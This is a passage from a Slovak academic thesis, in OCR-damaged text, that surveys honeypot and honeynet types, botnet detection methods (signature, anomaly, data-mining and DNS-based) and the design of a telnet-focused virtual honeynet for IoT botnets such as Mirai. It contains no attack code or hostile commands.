[15] alebo o nieco vyspelejsi Pwnypot [16]. Oba sa zameriavaji prave na webové
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zranitel'nosti.

2.2.3 Rozdelenie podl’a miery interakcie

Prvym prikladom honeypotov podl'a miery interakcie si nizko interaktivne
honeypoty [6]. Ako uz napovedad nazov, tieto honeypoty sa vyznacujii nizkou mierou
interakcie s Gto¢nikom. Su to nastroje, ktoré nie st zalozené na redlnych zariadeniach
s operacnym systémom. Typicky predstavuju mnozinu programov alebo skriptov, ktoré
simuluju prostriedky a sluzby systémov. Na jednej strane je jednoduchSie nasadit’ a
udrziavat’ prevadzku takychto honeypotov, na druhej strane ma toc¢nik velkl Sancu, ze
odhali pritomnost’ honeypotu. Zvysené riziko je najmé v situdcii, ak uto¢nik nepouziva
automatizované nastroje, ale pristupi k manualnemu utoku. Pretoze neponukaju redlne
sluzby, nebezpecenstvo zneuzitia je znacne limitované. Aj po prieniku sa uto¢nik
nedostane k redlnemu systému. Honeypot sa snazi presvedc¢it’ uto¢nika, ze jeho tikony st
uspeSne vykonavané. Informdcie ziskané z nizko interaktivnych honeypotov su
limitované. Casto z nich ziskavame len kvantitativne informacie o utokoch (napr. podet
utokov na konkrétny sietovy port). Ich ulohou je zvy€ajne emulovat’ zname zranitelnosti
ateda nedokdzu odhalit’ nové typy utokov. Tieto honeypoty ndm nedavaju dostatok
informacii, aby sme podrobne popisali uitok. Casto nevieme ani rozlisit’, ¢ ide o botnet,
alebo nejaky iny typ utoku. Existuju vSak Specializované nizko interaktivne honeypoty,
ktoré sa zameriavaji na konkrétne druhy botnetov a spdsob, akym sa §iria. Su to napriklad
honeypoty HoneyWRT [17], alebo telnetlogger [18]. Oba st zamerané na Mirai botnet

[19], ktory sa §iri pomocou telnet protokolu.

Honeypoty, ktoré¢ su zaloZzené na realnych operacnych systémoch a prostriedkoch,
akymi su rozne aplikacie a sluzby nazyvame vysoko interaktivne honeypoty [6].
Interakcia s Gtocnikom je rovnaka ako interakcia uto¢nika s redlnym systémom a moze
tak prebehnut cely vektor utoku. Pre uto¢nika je zlozité odhalit, ze sa nachadza
v prostredi honeypotu. Informécie ziskané z tychto honeypotov st ovel'a cennejSie ako
z nizko interaktivnych honeypotov. Zvysuju v§ak bezpecnostné riziko v pocitacovej sieti,
v ktorej sa nachadzaja, apreto si vyzaduju aj viac pozornosti. Ich nasadenie byva
zlozitejSie, ked’Ze je potrebné zabezpecit’ honeypot pred zneuzitim. Vyzaduja tieZ viac
systémovych prostriedkov ako nizko interaktivne honeypoty. Na druhej strane, dokdzu
vSak odhalit’ nové zranitel'nosti v systéme. Ich vyhodou je tiez pouZitie na testovanie
bezpecnostnych pravidiel a zabezpecenia produkénych systémov. Staci vytvorit’ kopiu
produkéného systému a monitorovat’ jej prevadzku. Prikladom tohto typu honeypotu je
Sebek [10], Xebek [20] alebo HonSSH [12]. Prvé dva spomenuté honeypoty sa

zameriavaji na hrozby a utoky zamerané na operacny systém Windows, takze dokazu
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odhalit’ Sirenie Skodlivého kodu na tejto platforme. HonSSH je zamerany na SSH
komunikaciu a tiez dokaze zbierat' Skodlivy kod, ktory sa tocnik pokusi spustit’ na

honeypote.

Poslednym prikladom honeypotov podla miery interakcie st stredne
interaktivne honeypoty [6], ktoré¢ kombinuji vyhody vysoko interaktivnych honeypotov
s vyhodami nizko interaktivnych honeypotov. Aj ked’ nevyuzivaji redlny operacny
systém a jeho sluzby, st pokrocilejSie ako nizko interaktivne honeypoty. Emuluja
niekol’ko aplikacii a sluzieb a snazia sa presvedcit’ ito¢nika, Ze sa nachddza na redlnom
systéme. Pri odhalovani botnetov je mozné pouzit’ honeypot MTPot [21], ktory patri
prave do tejto skupiny honeypotov. Zameriava sa viak tieZ len na botnet Mirai. Dal§im
prikladom je Kippo [13], ktory zachytava prihlasovacie udaje, emuluje prikazovy riadok

a uklada prenasané subory.

2.2.4 Rozdelenie podla spésobu nasadenia

Prvym prikladom honeypotov podla spdsobu nasadenia st fyzické honeypoty
[6]. Tieto honeypoty si spdjané s vysoko interaktivnhymi honeypotmi, pretoze
predstavuju redlne zariadenia, resp. redlne operacné systémy a sluzby na nich spustené.
Pri pouziti tychto honeypotov stipa obstaravacia cena a aj cena ich prevadzky. Ked'ze
jeden honeypot predstavuje jeden fyzicky stroj, systémové prostriedky byvaju nevyuzité
naplno, a teda ich prevadzkové naklady mozu byt’ v nepomere k ziskanym informaciam.

V sucasnej dobe sa uz nevyuzivaju.

Na rozdiel od fyzickych honeypotov tvoria virtudlne honeypoty [6] jednoduchsi
spOsob nasadenia a prevadzky honeypotov. Ich vyznam spociva v tom, Ze na jednom
fyzickom stroji moze bezat’ niekol’ko virtudlnych honeypotov. Nejedné sa len o virtudlne
stroje, ale aj spustené sluzby, ktoré predstavuji nizko uroviiové honeypoty. Takymto
pristupom dospejeme k jednoduchSej udrzbe a nizSim prevaddzkovym néakladom.
Hardvérové prostriedky st vyuzivané efektivnejSie, pretoze ich vieme prerozdelit’ medzi
viacero honeypotov. Ked’ze virtudlne honeypoty st spustené nad fyzickym strojom,
vznikaji nové spOsoby zberu udajov z tychto honeypotov. Mnohé honeypoty su

navrhnuté tak, aby zberali potrebné informacia priamo z virtualizaénych prostredi.

2.3 Honeynet

Konceptudlne sii honeynety jednoduché. St tvorené sietou pozostavajiicou z

niekol’kych honeypotov [6]. Ked'Ze honeynet nie je produkény systém, nemé ziadnu
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produkénu aktivitu, ktord by na flom bolo mozné zachytit. VSetka komunikacia
smerujuca do siete honeynetu sa dd povazovat za Skodlivi. Podobne je to aj
s neautorizovanymi sietovymi spojeniami smerom von zo siete. Tato vlastnost’ ulahcuje
analyzu aktivit vykonavanych na honeynete. Produkuju malé mnozstvo faloSnych
pozitivnych zdznamov, €o z nich robi dobry zdroj idajov pre d’alSiu analyzu. Nepouzivaju
databazu zndmych zranitel'nosti, takze dokdzu odhalit’ nové typy ttokov tak dobre, ako
utoky na uz zname zranitelnosti. Honeynety s uzito¢né pri odhal'ovani zranitelnosti
v systémoch pred ich nasadenim do produkéného prostredia. Pre organizéacie takto vznika
ovela menSie riziko, pretoZze honeynety kontroluji aktivity uto¢nikov v systéme

a objavené problémy modzu byt napravené pred produkénym pouzitim systému.

Honeynet nie je jednoduchy findlny produkt, ktory staci nainStalovat’ podobne ako
honeypot a pripojit ho do pocitacovej siete. Je to architektura, ktora sa sklada
z kontrolovanej siete, do ktorej sa umiestni systém alebo aplikacia. Prave tato architektira
je tymto honeynetom. Existuje niekol'ko klicovych poziadaviek, ktoré by mala

architektira honeynetu spifiat’. Kritické s tieto tri prvky honeynetu [6]:

e zber udajov,
* riadenie udajov a

* zhromazd’ovanie tdajov.

Prvé dva vyssie uvedené prvky st najddlezitejSie a kazdy honeynet by ich mal
implementovat. Bliz§ie sa prvkom honeynetu budeme venovat v nasledujicich

podkapitolach.

2.3.1 Zber udajov (data capture)

Aj ked su honeynety pri ich architektirach flexibilné a neexistuje konkrétny
spdsob, ako ich implementovat,, kritickym prvkom je prave samotny zber udajov (data
capture) [6]. Bez tohto prvku nema zmysel nasadzovat’ honeynet.

Pri zbere udajov ide o monitorovanie a zaznamenavanie aktivit v honeynete. Prave
tieto udaje su dolezité pri analyze néstrojov, postupov a motivacii tto¢nikov. Vyzvou je
zozbierat’” ¢o najviac udajov bez toho, aby si to vSimol uto¢nik. Bezne sa vyuziva
architektlira pozostavajica z viacerych vrstiev, z ktorych kazda zaznamenava iné ¢innosti
uto¢nika. To zvySuje spolahlivost’ celého honeynetu a stazuje uto¢nikovi odhalit’ tito
¢innost’. Navyse ¢im viac udajov dokdZzeme zaznamenat’ o titocnikoch, ¢i uz z pocitacove;j

siete, alebo priamo z honeypotu, tym viac sa nauc¢ime o ich postupoch. Mnozstvo aktivit
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uto¢nikov prebieha Sifrovanou komunikéciou. Ak chceme aby boli zaznamenané aj takéto
aktivity, musi byt na to honeynet prispésobeny. Neobide sa to Casto bez Uprav na
honeypotoch, kde je vSak ddlezité, aby tychto uprav bolo ¢o najmenej. Ak chceme pouzit’
honeypoty pre detekciu botnetov, tak Skodlivy kod, cez ktory sa botnety Siria nesmie
detegovat’ nestandardné prostredie. Dal§im délezitym pravidlom je ukladanie udajov
mimo honeypoty, aby sa zabrdnilo ich pozmeneniu, resp. zniCeniu uto¢nikom.

Administrator by tieto idaje nemal ovplyviiovat, ked’ pristupuje vzdialene k honeynetu.

2.3.2 Riadenie toku udajov (data control)

Riadenie toku udajov (data control) [22] je cast honeynetu, ktorda ma
zabezpecit’ znizenie rizika. Kontroluje Utocnikove aktivity limitovanim toho, ¢o moze
v sieti a mimo nej. Rizikom je moznost’ zneuzitia honeynetu tito¢nikom pre d’alsie utoky
mimo kontrolované prostredie, alebo nejakym inym, neocakédvanym spdsobom. Cielom
je implementovat’ dostatoénu kontrolu a minimalizovat’ ttoénikove $ance odhalit’ ju. Cim
viac mu povolime, tym sa potencialne viac o iom dozvieme. Rovnovéha medzi tym,
kol’ko slobody dame utoc¢nikovi a ako velmi ho obmedzime, je na rozhodnuti kazdého,
kto implementuje honeynet. DdleZité je pri tom mysliet’ na automatickt a aj manualnu
kontrolu. Administrator by mal mat’ moznost’ upravovat’ bezpecnostné pravidla, ale aj
manudlne zabranit’ ato¢nikovi vo vykonavani §kodlivej ¢innosti. Vyhodne je mat’, tak ako
pri zbere udajov, niekol'ko vrstiev kontroly, aby sa nezvysilo riziko jediného bodu

zlyhania.

2.3.3 Zhromazd’ovanie udajov (data collection)

ZhromaZd’ovanie udajov (data collection) [22] sa v honeynete implementuje
vtedy, ak médme nasadenych niekol’ko inStancii honeynetu a potrebujeme z nich dostat’
udaje na jedno centralne miesto. Vac¢Sina organizécii nasadi prave jeden honeynet, takze
sa tymto bodom nemusi zaoberat’. Ak uz mame niekol’ko honeynetov distribuovanych po
celom svete, je vyhodné udaje znich kombinovat. Vtedy musime zaviest menné
konvencie, teda kazdy honeynet dostane svoj identifikator. Presun udajov musi prebiehat’
zabezpecenou cestou, aby nedoslo k ich zneuzitiu. Ak existuje moznost,, ze sa s takymito
udajmi bude pracovat’ vo vicsich timoch, je potrebné zabezpecit’ anonymizaciu tychto

udajov.
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3 Pristupy a nastroje k detekcii a analyze botnetov

Kazdy botnet ma svoju infrastruktiru, ktora sa sklada z r6znych prvkov. Tymi st
riadiace C&C servery, boti, komunikacné protokoly, r6zny Skodlivy kod, ktory pouzivaji
na Sirenie a podobné podporné prostriedky. Pod pojmom detekcia botnetu [1]
rozumieme odhalenie aktivity celého botnetu, alebo jeho konkrétnych stcasti.
V idedlnom pripade je mozné odhalit’ ako riadiace tak aj klientske prvky botnetu. Vtedy
sa vieme voci takémuto botnetu branit’ a dokonca v niektorych pripadoch aj znemoznit’
jeho dalsie fungovanie. Casto viak vieme detegovat len jeho aktivitu, alebo konkrétne
pocitace - boti, ktoré mézeme z tejto siete odstranit’.

Pristupy detekcie botnetov je mozné rozdelit’ do dvoch kategorii [3]:

* pristupy zaloZené na honeypotoch,

* pristupy zaloZené na detekcii prienikov — prikladom je monitorovanie

pocitacovej siete.

Stcasné mechanizmy detekcie musia obchadzat® obranné mechanizmy
implementované utocnikmi. Najprv spomenieme IDS techniky a potom sa budeme
venovat’ honeypotom.

Detekcia prienikov [3] je zalozend na pasivhom monitorovani internetovej
komunikacie a identifikécii sietového toku prisluchajucemu botnetom. Existuje Siroké
spektrum sietovej komunikécie, ktora moze byt pouzitd na detekciu, ako napriklad DNS,
Netflow, informécie o umiestneni adries a podobne. Tieto pristupy mozu byt rozdelené
do Styroch kategorii, ktoré st zalozené na [2]:

* signatdre (signature-based),
e anomalidch (anomaly-based),
* DNS komunikacii (DNS-based) a

* data-miningu

3.1 ZaloZené na signature

Tento pristup spociva v poznani znamych, uz v minulosti Studovanych botnetov.
Akondhle je nejaky botnet objaveny, vyskumnici sa pokuSaji analyzovat jeho kod
a spravanie a vytvorit’ jeho signatiru a popis, ktory moze byt pouzity systémami na

detekciu prieniku (IDS). Signatira [3] je kolekciou udajov, ktoré obsahuju vSetky
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relevantné detaily o nakazeni a Skodlivej komunikécii. Obsahuje nazvy suborov, URL
adresy, sekvencie bitov a iné udaje, ktoré mézu byt uzitoné pri detekcii. IDS potom
mdze na zaklade nich varovat’ o pritomnosti botnetu spravcu pocitacovej siete. Hlavnou
nevyhodou tohto pristupu st nutné znalosti o botnete. Z tohto dévodu moze byt tento

pristup pouzity iba na detekciu uz zndmych botnetov.

Jednym z najznamejsich pristupov na detekciu botnetov zalozenom na signature
je Rishi [24]. Tento pristup funguje na principe parovania znamych prezyvok (nick-
name) IRC botov. Rishi je priméarne zaloZzeny na pasivnom monitorovani prevadzky
pocitacovej siete a hl'adani IRC prezyvok, IRC serverov a nezvycajnych portov. Pouziva
n-gram analyzu [23], ¢o je postup na hl'adanie podobnosti, ktory vyuziva posuvné okno
a podretazce dizky n. Tento pristup pridava hodnotiaci systém, na zaklade ktorého sa
rozhoduje pri detekcii botov. Ide najmi o nestandardné komunikacné kanaly, ktoré nie su

detekovatel'né pomocou klasickych IDS systémov.

Inym prikladom tohto pristupu je Botminer [25], ktory vyuziva fakt, Ze boti sa
spravaju podobne vzh'adom na komunikacné vzory v komunikacii s riadiacim serverom
alebo pri vykonavani skodlivej Cinnosti. Vyuziva klastrovaciu analyzu na detekciu
strojov, ktoré vykazuji podobnosti v spravani. A to vzhl'adom na niekolko atriblitov
sietového toku, ako napriklad mnozstvo dat prenesenych paketmi, pocet paketov, pocet
sietovych tokov s danou adresou a podobne. Navyse analyzuje ¢asté vzory vo vyuzivani
sietovych portov. To moze napomoct’ pri detekcii vzorov objavujicich sa pri aktivitach

botnetov.

3.2 Zalozené na anomaliach

Tento pristup je zaloZeny na identifikacii abnormalneho spravania, teda vSetkého
¢o sa lisi od beznej prevadzky pocitacovej siete a sledovaného zariadenia [2]. Napriklad
pri DDoS utoku alebo spam utoku vznikd mnozstvo komunikacie, ktora zvysuje sietovu
odozvu. Takéato abnormalita, alebo aj nezvycajné Cisla portov alebo pocet spojeni, moze

byt povazované za abnormalne spravanie, a teda vyuzité na detekciu botnetu.

Zhang a Lee [26] predstavili rieSenie, ktoré vyuziva detekciu anomalii v sieti.
Pomocou neho dokézu identifikovat' kanal, ktorym botnet komunikuje s riadiacim
serverom (C&C) v lokdlnej pocitacovej sieti, bez pouzitia dodatoénych znalosti

o signatire botnetu, alebo adresy riadiaceho servera. Tento detekény pristup dokaze
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identifikovat’ ako riadiaci server, tak aj napadnuté stroje v sieti. Je zaloZeny na
pozorovani, ze boti vd’aka ich predprogramovanym schopnostiam (aktivitim) voci
riadiacemu serveru, sa v pripade, Ze patria do rovnakého botnetu, spravaji podobne a daju
sa najst’ medzi nimi Casopriestorové korelacie. Napriklad sa koordinovane zapajaji do
distribuovaného utoku. Zhang a Lee vytvorili softvér s nazvom BotSniffer [27], ktory je
schopny zachytit’ tieto Casopriestorové korelacie v sietovej komunikacii a navrhli
Statisticky algoritmus na detekciu botnetov s teoretickymi hranicami hodnotenia

faloSnych pozitivnych a faloSnych negativnych odpovedi.

Dalsi pristup k detekcii botnetov na zaklade anomalii uvadzajii Binkley a Singh
[28], ktori navrhli efektivny algoritmus kombinujuci detekciu anomalii v TCP
komunikacii s IRC tokenizéciou a Statistikami z IRC sprav. Vytvorili takto systém, ktory
dokdze detegovat’ botov. Taktiez dokdzu odhalit’ riadiace servery botnetov za

predpokladu, Ze nie je pouzita Sifrovand komunikécia pre IRC prikazy.

3.3 Data-mining

Aj ked’ je identifikacia C&C komunikécie efektivny spdsob detekcie botnetu, je
tazké oddelit’ ju od beznej komunikdcie. Je to kvoli faktu, ze botnety zvyc€ajne pouzivaji
bezné protokoly a generuji malé mnozstvo sietového toku pri C&C komunikécii. Navyse
su stale aktualizované a vylepSované, ateda je znizovand efektivita vyuzitia prvych
dvoch spomenutych pristupov. Na vyrieSenie tejto situdcie sa vyskum ubera ¢astokrat
k moZnostiam aplikacie data-miningu na sietova prevadzku, za uc¢elom detekcie botnet
komunikacie. Pouzivaji sa rézne techniky ako klastrovanie, regresia, klasifikécia,

rozpozndvanie vzorov a podobne.

AsSadhan a Moura [29] pozorovali, ze komunikacia s riadiacim (C&C) serverom
vykazuje opakujice sa vzory spravania. To je sposobené faktom, ze spravanie botov je
predurcené ich programom. Skumali toto spravanie a hl'adali opakujice sa vzory v takejto
komunikacii s riadiacim serverom. Na Studovanie periodicity spravania vyuZzili
periodogramy a aplikovali Walkerov test [30] na vel'kych vzorkach na zistenie, ¢i vobec
ma tato komunikacia vyznacné periodické komponenty. Ak mala, iSlo o komunikéaciu
botnetu. Tento test je nezavisly na komunika¢nom protokole vyuzivanom botnetom

anevyzaduje si ziadne dodato¢né informacie o spravani botnetu. Kedze Studovali
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suhrnny zdznam komunikacie, tato metoda je viac Skalovatel'na ako iné pristupy, ktoré
skimaju jednotlivé pakety, alebo sleduji komunikaciu rozliénych pocitacov.

Dalim zaujimavym pristupom je vyuzitie umelych neurénovych sieti. Sharafat,
Rasti a Yazdian [31] predstavili vo svojej praci neurénovu siet, ktord skiima spravanie
botnetov. Vyhodou vyuzitia neurdénovej sieti pri detekcii anomalii je jednoduchost’
naucenia sa neurdénovej siete znaky beznej a podozrivej aktivity, na ktoré by sme inak
museli pouzit’ nejaké matematické postupy na popisanie tychto vlastnosti pre detekciu
anomalii.

Masud a spol. [32] predstavili robustny a efektivny detekény systém, zalozeny na
prehl'addvani mnozstva logovacich suborov. Pre detekciu komunikacie s riadiacim
serverom (C&C) vyuzivali korelaciu mnoZzstva rdéznych logovacich suborov
a klasifikovali cely komunikaény tok na identifikaciu botnet komunikécie. Tato metdda
nema ziadne obmedzenia na komunikacny protokol vyuzity botnetom, takze je mozné ju
pouzit’ na detekciu botnetov, ktoré nie st postavené iba na IRC, ale mézu pouzivat’ r6zne

protokoly.

3.4 Zalozené na DNS komunikacii

DNS pristup [3] je mozné zaradit’ medzi pristup zalozeny na anomalidch a data-
mining. Cela analyza je postavena na predpoklade, ze Gtocnik pouziva DNS protokol pri
riadeni botnetu. Udaje sa zbieraju pasivne zo sietovej komunikacie a potom sa v nich
hl'adaji r6zne vzory, ktoré nasvedcuju, ze v pocitacovej sieti sa nachadza nejaky bot.

Boti potrebujii najst’ svoje prostriedky, vd’aka ktorym funguju, ako napriklad
riadiaci server, skodlivy kod, aktualizacie a podobne. Vel'mi ¢asto na to pouzivaji DNS
protokol, ¢o robi detekciu zalozeni na DNS atraktivnou. Je vSak tazké rozliSit medzi
legitimnou a nelegitimnou DNS komunikaciou. Dagon [33] predstavil vo svojej praci
mechanizmus identifikdcie riadiaceho servera botnetu na zaklade detekcie doménovych
mien s abnormdlne vysokym ohodnotenim DNS poziadaviek. Tato metoda vSak moze
byt nachylna na falosné DNS poziadavky. Nie je to vSak jediny sposob, ako vyuzit' DNS
poziadavky pri detekcii botnetov.

Lee a spol. [34] predstavili v roku 2010 metddu sledovania botnetov pomocou
analyzy vztahov doménovych mien v DNS komunikécii generovanej botnetmi. V ramci

¢lanku ukazali, Ze su schopni najst mnozinu neznamych $kodlivych doménovych mien
) y
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vd’aka preskiimaniu DNS poziadaviek od klienta, ktory pristapil k uz znamym Skodlivym

doménam.

3.5 Moznosti pouzitia honeypotov

Sledovanie (analyza) botnetov je niekol’ko krokova ¢innost’, ktord zacina zberom
udajov o existujliicich botnetoch. Na dosiahnutie tohto ciela mézeme pouzit' okrem uz
vyssie spominanych pasivnych postupov aj aktivne, akymi su napriklad honeypoty alebo
rdzne kontrolované prostredia (sandboxy) na analyzu skodlivého kodu.

Jednym takymto honeypotom je nepenthes [35]. Je to prostredie pre zber
rozliénych udajov o samo Siriacom sa Skodlivom koéde. Zakladny princip nepenthes
spo¢iva v emuldcii iba zraniteInych casti sluzieb systému. To vedie k efektivnemu
rieSeniu, ktoré pontika mnoho vyhod oproti inym rieSeniam zaloZenych na honeypotoch.
Ide o nizko interaktivny virtudlny honeypot na zber Skodlivého koédu. Na rozdiel od
vysoko interaktivnych honeypotov s vyuzitim zranite'nych sluzieb systému, ktoré mézu
byt napadnuté samo Siriacim sa Skodlivym koédom, tento program tieto sluzby iba
emuluje, &o zniZzuje riziko nasadenia takéhoto honeypotu. Utoénik nemédze plne zneuzit’
napadnuty systém a teda cely honeypot. Akonahle je skopirovany nejaky skodlivy kod,
je ulozeny na disk a nie je vobec spustany. Navyse, ked’Ze samotny nepenthes je spustany
na linuxovych distribliciach, ale emuluje sluzby systému Microsoft Windows, nemoze
byt tymto programom infikovany. Vd’aka vysokej skalovatel'nosti je mozné spustit’ vel'ké

mnozstvo inStancii tohto honeypotu na jednom fyzickom stroji.

Dalsim nastrojom je Honeywall CDROM [37]. Je to prenosné médium, z ktorého
sa inStaluji nastroje, ktoré¢ st nevyhnutné pre rychle vytvorenie, jednoduchu udrzbu
a efektivnu analyzu honeynetov. Sqalli, AIShaikh, a Ahmed [36] predstavili pripadova
Studiu, vyhodnocujicu efektivnost’ nastroja Honeywall CDROM pri skimani ttokov na
univerzitnu pocitacovu siet. Prvou oblast'ou skimania boli zdrojové adresy uto¢nikov
a prostriedky na ktoré uto¢ili. DalSou oblastou zaujmu boli typy Gtokov, ktoré sa objavili
v rdmci pocitacovej siete. ISlo o odopretie sluzby (DoS) a skenovanie portov. Nakoniec
sa eSte venovali aj nastrojom, ktoré boli pouzité pri utokoch. Ich analyza bola postavena
najmi na analyzovani sietovej prevadzky. Vyuzivali virtudlny honeynet pozostavajuci

z dvoch virtudlnych strojov s operacnym systémom Linux a dvoch virtualnych strojov s
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opera¢nym systémom Microsoft Windows. Pocas dvadsiatich 90 minutovych intervaloch

zaznamenali 30 000 aktivit, z ktorych az 65% bolo vyhodnotenych ako stredne riskantné.

IoTPOT [38] je jeden z pomerne novych pristupov vyuzitia honeypotov pri zbere
Skodlivého kodu. Autori popisuju vlastny honeypot, ktory je zalozeny na aplikacnom
protokole telnet. Sucastou IoTPOT honeypotu je aj kontrolované prostredie (sandbox),
ktoré slizi ako néstroj na analyzu Skodlivého kodu. Pomocou tohto néstroja analyzovali
17 binarnych suborov so Skodlivym koédom, ktoré rozdelili do niekol’kych skupin, podla

typu utoku.

Dalsou moznostou vyuzitia honeypotov si rozne nizko interaktivne
implementécie, ktoré sa zameriavaji na konkrétne protokoly. Takymto honeypotom je aj
Hale. Jeho ulohou je monitorovat’ aktivitu IRC a HTTP komunikacie, ktord sa pouziva

pri komunikacii botnetu s riadiacim C&C serverom.

Vyuzit’ sa daji aj jednoduché honeypoty zamerané na protokol telnet, ktory sa
Casto pouziva na Sirenie botnetu. Prikladom st honeypoty HoneyWRT [17], HonTel
[39], alebo MTPot [21]. VSetko st to nizko interaktivne honeypoty, ktoré zberaju

informécie o pokusoch o neautorizovanu ¢innost’ na sluzbe telnetu.
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4 Poziadavky a navrh honeynetu

V tejto kapitole si popiSeme ndvrh honeynetu, ktory bude sluzit’ ako néstroj na
zber udajov pre detekciu botnetov. Taktiez si popiSeme niektoré poziadavky na
implementéaciu. N4&s navrh sa zameriava na botnety, Siriace sa prostrednictvom skodlivého
kédu, kompilovaného pre rdzne architektiry procesorov. Tieto botnety su typické tym,
ze ich kod je miereny na r6zne zariadenia, ktoré su pripojené k internetu a st nepretrzite
v prevadzke. Prikladom st smerovace, rézne bezpecnostné a monitorovacie systémy

alebo aj niektor¢ zariadenia internetu veci (IoT — Internet of Things).

4.1 Vyuzitie aplika¢ného protokolu telnet

Ked'Ze sa zameriavame na botnety Siriace sa zariadeniami loT, ako st napriklad
domace smerovace, jednym z najpouzivanejSich protokolov pouzitych pri utokoch je
telnet. Pomocou tohto protokolu napadaju tieto zariadenia a d’alej sa Siria. Situdcia
s vyuzivanim telnetu na Sirenie Skodlivého kddu sa postupom ¢asu menila. Na zaklade
analyzy darknetu z NICTER, Japonského monitorovacieho systému darknetu, ktory
monitoruje cez 270 000 IP adries, vieme povedat, Ze sa aktivita tykajiica sa telnet
protokolu rokmi zvySuje [38]. Na obrazku €. 7 je zndzornena prevadzka na porte 23/TCP
od roku 2005 az do roku 2015 v zavislosti po¢tu paketov za deii a tiez poctu roznych IP
adries za defi v ramci tohoto darknetu. Udaje poukazuju na zvyseni aktivitu skenovania
portu telnetu. Vel'ky odskok na konci roku 2012 je sposobeny aktivitou botnetu Carna
[38], vytvoreny neznamym uto¢nikom. Tento botnet kompromitoval mnozstvo IoT

zariadeni, a taktieZ smerovacov.

35



250 2

~—— # of Packets ’ 1.8

S0 2 # of Unique Hosts 1.6
@
£ 14 &
g £
i a8
) 4

E - 1.2 5
i &
[
-4 ' E
a "
s T
8 iic 08 3
g 3
5 g
: 06 38
[-%

- 0.4

0.2
5 . 0
© © ’\ $
§ $ O $
o S O >
V \V Vv \V \V V \V \V Vv Vv
\°\'\ \0”\ S & @ \°N\ \°\'\ \&\ \&\ \&\
M M N N4 [\ N N & i L3 &
Time

Obr. 7 Narast telnet aktivity v daknete [38]

V roku 2016 sa objavil botnet Mirai [40], ktory taktiez vyuzival telnet protokol
ako sposob Sirenia sa. Tento botnet Gito¢i na IoT zariadenia a smerovace najméd pomocou
DDoS utokov. Jeho cielom bola napriklad sluzba GitHub, Reddit alebo Spotify, ktoré
boli znefunk¢nené na niekol'’ko hodin v severnych castiach Spojenych statov americkych.
Vyuziva zranitel'nost’ slabych alebo prednastavenych hesiel od vyrobcu, ktoré tieto
zariadenia Castokrat maju. Dokazom je aj odhadované mnozstvo nakazenych zariadeni,
ktoré je okolo pol miliona [40].

Komunikacia pomocou tohto protokolu prebieha bez Sifrovania. Je to klient-
server protokol, vyuzivajuci TCP a Standardny port 23. Jeho ucelom je poskytnut’
obojsmerny prostriedok komunikdcie a jeho primarnym cielom je poskytnut
Standardizované rozhranie pre terminalové zariadenia prostrednictvom pocitacove;j siete.
Po uskuto¢neni TCP ,,3-way handshake* si m6ze klient so serverom vymenit’ nastavenia
telnet protokolu. Po vymene tychto nastaveni, server posle uvitaciu spravu klientovi
a hned’ za nou poziadavku na prihlasenie. Napriklad ,,Welcome in my Router” ako
uvitaciu spravu a ,,Login:“ ako poziadavku o prihldsenie. Néasledne klient odosle
kombinéciu uzivatel'ského mena a hesla, aby sa prihlasil k svojmu uzivatel'skému u¢tu na
serveri. Nakoniec, ak su tieto Udaje spravne, uzivatel' je prihlaseny a moze zadavat
insStrukcie serveru pomocou shell prikazov. Na obrazku ¢€.8 je zndzornend interakcia

klienta so serverom.

36



Telnet Client Telnet Server
3-way handshake

Telnet options

Welcome Message Banners
& Login Prompt

username /pass

—— . .
" Authentication
ULNciucauol

J\

command

o, s — Command

Interactions

Obr. 8 Telnet komunikicia medzi klientom a serverom [38]

4.2 Virtualizacia

Virtualizacia [41] predstavuje spdsob zdielania fyzickych prostriedkov jedného
vypoctového stroja medzi viacero inStancii roznorodych operacnych systémov. Vytvara
medzivrstvu medzi hardvérom a operacnym systémom a riadi pridel'ovanie fyzickych
prostriedkov pocitaca. Fyzické prostriedky meni na softvérové a teda virtualizacia sa da
predstavit’ ako niekol’ko pocitacov v jednom fyzickom pocitaci. Tymito prostriedkami
mdze byt napriklad zvukova karta, pamét, procesor, pamédtové médium, sietova karta
a podobne. Instancia opera¢ného systému vo virtudlnom prostredi sa nazyva virtualny
stroj. Kazdy takyto virtudlny stroj ma svoje softvérové prostriedky, nad ktorymi je
spusteny. V zavislosti od pouzitej virtualiza¢nej technoldgie, ma kazdy virtudlny stroj
moznost vyuzivat' rozne prostriedky. Napriklad m6Zzeme mat’ spustené virtudlne stroje na
roznych architektirach procesorov, alebo im pridelit’ rozlicné mnozstvo pamdte, alebo
diskového priestoru a podobne. Softvér alebo hardvér, ktory ma na starosti vytvaranie

a beh virtualnych strojov sa nazyva hypervisor [41].

Ako sme spomenuli v kapitole 2.2.4, ktord bola venovana virtudlnym

honeypotom, v sucasnej dobe su honeypoty a honeynety prevadzkované ako virtudlne
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stroje. V zavislosti od sposobu virtualizacie moze byt obmedzend schopnost’ nasadenia
honeypotov postavenych na inych architekturach. Ked’ze nie kazda virtualizécia dovol'uje
spustenie zariadeni ako je napriklad prepina¢ alebo smerovac. Z dovodu, Ze tieto
zariadenia pozaduju odlisné architektary, je dolezité vybrat vhodny pristup k
virtualizacii. Pristupov k virtualizacii je niekol’ko a méZeme ich rozdelit’ do tychto
Styroch skupin [42]:

* plna virtualizacia,

* nativna virtualizacia,

* para-virtualizicia a

* virtualizdcia na urovni operacného systému.

V nasledujucich kapitolach rozoberieme vyssie uvedené pristupy k virtualizacii

a rozdiely medzi nimi. Kazda z tychto metdd sa d& pouzit’ pri implementécii honeypotu
aj honeynetu, zavisi to v§ak od naSich poziadaviek na prvky systému. Nie len samotné
honeypoty, ale aj senzory, ktoré budi zberat’ tidaje a v neposlednom rade sa kladie doraz

aj na bezpecnost’ celé¢ho systému.

4.2.1 Plna virtualizacia

Plna virtualizacia [42] niekedy nazyvand aj ako emuldcia hardvéru. V tomto
pripade je nemodifikovany operacny systém schopny bezat' nad hypervisorom, ktory
odchytava, prekladd a vykondva privilegované instrukcie systému [42]. Hypervisor ma
vyS$Siu Uroven privilégii ako operacny systém, ktory je nad nim spusteny a logicky ho
oddel'uje od hardvéru. Schému plnej virtualizacie je mozné vidiet’ na obrazku ¢. 9. Plna
virtualizacia poskytuje bezpecny spOsob migracie virtudlnych strojov a zabezpecuje
izol&ciu virtudlneho stroja od hardvéru. Z tohto dovodu ta ista inStancia mdze bezat’ ako
na fyzickom stroji tak aj vo virtualizovanom prostredi. Nevyhodou jej vrstvovej
architektiry je potreba komplexného bezpecnostného manazmentu pri spracovavani
insStrukcii, ¢o vedie k zna¢nému poklesu vykonu. Z tohto dovodu sa vyvijaji nové
stratégie, ktoré zvySuju vykon tejto virtualizacie. Ako priklad mdzeme uviest’ spdjanie
